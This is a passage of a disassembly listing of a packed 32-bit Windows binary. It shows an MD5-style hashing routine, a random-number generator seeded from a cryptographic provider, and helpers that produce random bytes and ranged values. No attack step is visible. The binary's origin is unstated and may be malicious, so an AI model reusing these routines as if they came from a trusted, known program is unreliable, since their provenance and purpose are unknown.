[ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-29D0EFA3h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_10] lea eax, [ecx+eax+2441453h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_C] lea eax, [ecx+eax-275E197Fh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_8] lea eax, [ecx+eax-182C0438h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_4] lea eax, [ecx+eax+21E1CDE6h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3CC8F82Ah] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_C] lea eax, [ecx+eax-0B2AF279h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_8] lea eax, [ecx+eax+455A14EDh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-561C16FBh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3105C08h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_C] lea eax, [ecx+eax+676F02D9h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_8] lea eax, [ecx+eax-72D5B376h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_3C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-5C6BEh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_30] mov ecx, [ebp+var_10] lea eax, [ecx+eax-788E097Fh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_24] mov ecx, [ebp+var_C] lea eax, [ecx+eax+6D9D6122h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_18] mov ecx, [ebp+var_8] lea eax, [ecx+eax-21AC7F4h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_4C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-5B4115BCh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_40] mov ecx, [ebp+var_10] lea eax, [ecx+eax+4BDECFA9h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_34] mov ecx, [ebp+var_C] lea eax, [ecx+eax-944B4B0h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_28] mov ecx, [ebp+var_8] lea eax, [ecx+eax-41404390h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_1C] mov ecx, [ebp+var_4] lea eax, [ecx+eax+289B7EC6h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_50] mov ecx, [ebp+var_10] lea eax, [ecx+eax-155ED806h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_44] mov ecx, [ebp+var_C] lea eax, [ecx+eax-2B10CF7Bh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_38] mov ecx, [ebp+var_8] lea eax, [ecx+eax+4881D05h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_2C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-262B2FC7h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_20] mov ecx, [ebp+var_10] lea eax, [ecx+eax-1924661Bh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_14] mov ecx, [ebp+var_C] lea eax, [ecx+eax+1FA27CF8h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_48] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3B53A99Bh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_4] lea eax, [ecx+eax-0BD6DDBCh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_10] lea eax, [ecx+eax+432AFF97h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [ecx+eax-546BDC59h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-36C5FC7h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_4] lea eax, [ecx+eax+655B59C3h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_10] lea eax, [ecx+eax-70F3336Eh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_C] lea eax, [ecx+eax-100B83h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-7A7BA22Fh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_4] lea eax, [ecx+eax+6FA87E4Fh] loc_41005C: ; DATA XREF: .packed:off_41A8CCo mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_10] lea eax, [ecx+eax-1D31920h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_C] lea eax, [ecx+eax-5CFEBCECh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_8] lea eax, [ecx+eax+4E0811A1h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_4] lea eax, [ecx+eax-8AC817Eh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_10] lea eax, [ecx+eax-42C50DCBh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_C] lea eax, [ecx+eax+2AD7D2BBh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-14792C6Fh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax] add eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [ecx], eax mov eax, [ebp+arg_0] mov eax, [eax+4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] mov [ecx+4], eax mov eax, [ebp+arg_0] mov eax, [eax+8] add eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [ecx+8], eax mov eax, [ebp+arg_0] mov eax, [eax+0Ch] add eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax leave retn sub_40F3CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410244 proc near ; CODE XREF: sub_40F3CE+Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_410263 ; --------------------------------------------------------------------------- loc_410253: ; CODE XREF: sub_410244+66j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_410263: ; CODE XREF: sub_410244+Dj mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnb short locret_4102AC mov eax, [ebp+arg_4] add eax, [ebp+var_8] movzx eax, byte ptr [eax] mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+1] shl ecx, 8 or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+2] shl ecx, 10h or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+3] shl ecx, 18h or eax, ecx mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax jmp short loc_410253 ; --------------------------------------------------------------------------- locret_4102AC: ; CODE XREF: sub_410244+25j leave retn sub_410244 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4102AE proc near ; CODE XREF: .packed:004168D0p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0F0000000h push 1 push 0 push 0 lea eax, [ebp+var_4] push eax call dword_417024 push offset dword_41EBBC push 4 push [ebp+var_4] call dword_417020 push offset dword_41EBC0 push 4 push [ebp+var_4] call dword_417020 push offset dword_41EBC4 push 4 push [ebp+var_4] call dword_417020 push offset dword_41EBC8 push 4 push [ebp+var_4] call dword_417020 push 0 push [ebp+var_4] call dword_41701C leave retn sub_4102AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410318 proc near ; CODE XREF: sub_4103F5+6p ; sub_410422+6p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi lock xadd dword_41EBBC, eax add eax, ebx lock xadd dword_41EBC0, eax add eax, ecx lock xadd dword_41EBC4, eax add eax, edx lock xadd dword_41EBC8, eax add eax, esi lock xadd dword_41EBBC, eax add eax, edi lock xadd dword_41EBC0, eax add eax, ebp lock xadd dword_41EBC4, eax add eax, esp lock xadd dword_41EBC8, eax call sub_416B64 mov [ebp+var_4], eax mov eax, [ebp+var_4] lock xadd dword_41EBBC, eax lock xadd dword_41EBC0, eax lock xadd dword_41EBC4, eax lock xadd dword_41EBC8, eax add ecx, ebx ror ebx, cl lock xadd dword_41EBC4, ebx add ecx, ecx ror ecx, cl lock xadd dword_41EBC0, ecx add ecx, edx ror edx, cl lock xadd dword_41EBBC, edx rol eax, cl add ecx, eax ror ebx, cl add ecx, ebx ror ecx, cl add ecx, 211h rol edx, cl add ecx, edx lock xadd dword_41EBC8, edx lock xadd dword_41EBC4, ecx lock xadd dword_41EBC0, ebx lock xadd dword_41EBBC, eax pop edi pop esi pop ebx leave retn sub_410318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4103F5 proc near ; CODE XREF: sub_4020C2+10Bp ; sub_4040E8+2Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 lock xadd dword_41EBC8, eax mov ecx, [ebp+arg_4] sub ecx, [ebp+arg_0] xor edx, edx inc ecx div ecx mov eax, edx add eax, [ebp+arg_0] pop edi pop esi pop ebx pop ebp retn sub_4103F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410422 proc near ; CODE XREF: sub_40CF2F:loc_40CFBCp ; sub_40D871+D3Fp ... push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 lock xadd dword_41EBC8, eax pop edi pop esi pop ebx pop ebp retn sub_410422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41043F proc near ; CODE XREF: sub_4055E5+715p ; sub_4055E5+78Bp push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 lock xadd dword_41EBC4, eax and eax, 0FFFFh pop edi pop esi pop ebx pop ebp retn sub_41043F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410461 proc near ; CODE XREF: sub_4104A3+42p ; sub_4125DF:loc_4126B8p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 lock xadd dword_41EBC0, eax and eax, 0FFh pop edi pop esi pop ebx pop ebp retn sub_410461 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410483 proc near ; CODE XREF: sub_4055E5+72Bp ; sub_40D7E5+57p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 lock xadd dword_41EBBC, eax and eax, 1 pop edi pop esi pop ebx pop ebp retn sub_410483 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4104A3 proc near ; CODE XREF: sub_40A9CF+D4Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_4104AF jmp short locret_4104FF ; --------------------------------------------------------------------------- loc_4104AF: ; CODE XREF: sub_4104A3+8j mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4104B5: ; CODE XREF: sub_4104A3+34j cmp [ebp+arg_4], 3 jbe short loc_4104D9 call sub_410422 mov ecx, [ebp+var_4] mov [ecx], eax mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+arg_4], eax jmp short loc_4104B5 ; --------------------------------------------------------------------------- loc_4104D9: ; CODE XREF: sub_4104A3+16j mov eax, [ebp+var_4] mov [ebp+arg_0], eax loc_4104DF: ; CODE XREF: sub_4104A3+5Aj cmp [ebp+arg_4], 0 jbe short locret_4104FF call sub_410461 mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax jmp short loc_4104DF ; --------------------------------------------------------------------------- locret_4104FF: ; CODE XREF: sub_4104A3+Aj ; sub_4104A3+40j leave retn sub_4104A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410501 proc near ; CODE XREF: sub_403260+36p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_410510 xor eax, eax jmp short locret_41055D ; --------------------------------------------------------------------------- loc_410510: ; CODE XREF: sub_410501+9j cmp [ebp+arg_10], 0 jnz short loc_41051C mov eax, [ebp+arg_4] mov [ebp+arg_10], eax loc_41051C: ; CODE XREF: sub_410501+13j push [ebp+arg_10] push [ebp+arg_4] call sub_4103F5 pop ecx pop ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] mov [ebp+var_4], eax loc_410532: ; CODE XREF: sub_410501+57j cmp [ebp+var_4], 0 jbe short loc_41055A push [ebp+arg_C] push [ebp+arg_8] call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax jmp short loc_410532 ; --------------------------------------------------------------------------- loc_41055A: ; CODE XREF: sub_410501+35j mov eax, [ebp+var_8] locret_41055D: ; CODE XREF: sub_410501+Dj leave retn sub_410501 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41055F proc near ; CODE XREF: .packed:004168E1p var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset byte_41EBD0 call sub_40F26E pop ecx pop ecx lea esi, byte_41EBD0 mov edi, esi push 10h pop ecx loc_41059F: ; CODE XREF: sub_41055F+47j lodsb or eax, 80h stosb loop loc_41059F pop edi pop esi pop ebx leave retn sub_41055F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105AD proc near ; CODE XREF: sub_406E8E+C6p ; sub_406E8E+14Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] cmp eax, 7Fh jle short loc_4105BE jmp short locret_4105F9 ; --------------------------------------------------------------------------- loc_4105BE: ; CODE XREF: sub_4105AD+Dj and [ebp+var_4], 0 jmp short loc_4105CB ; --------------------------------------------------------------------------- loc_4105C4: ; CODE XREF: sub_4105AD+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4105CB: ; CODE XREF: 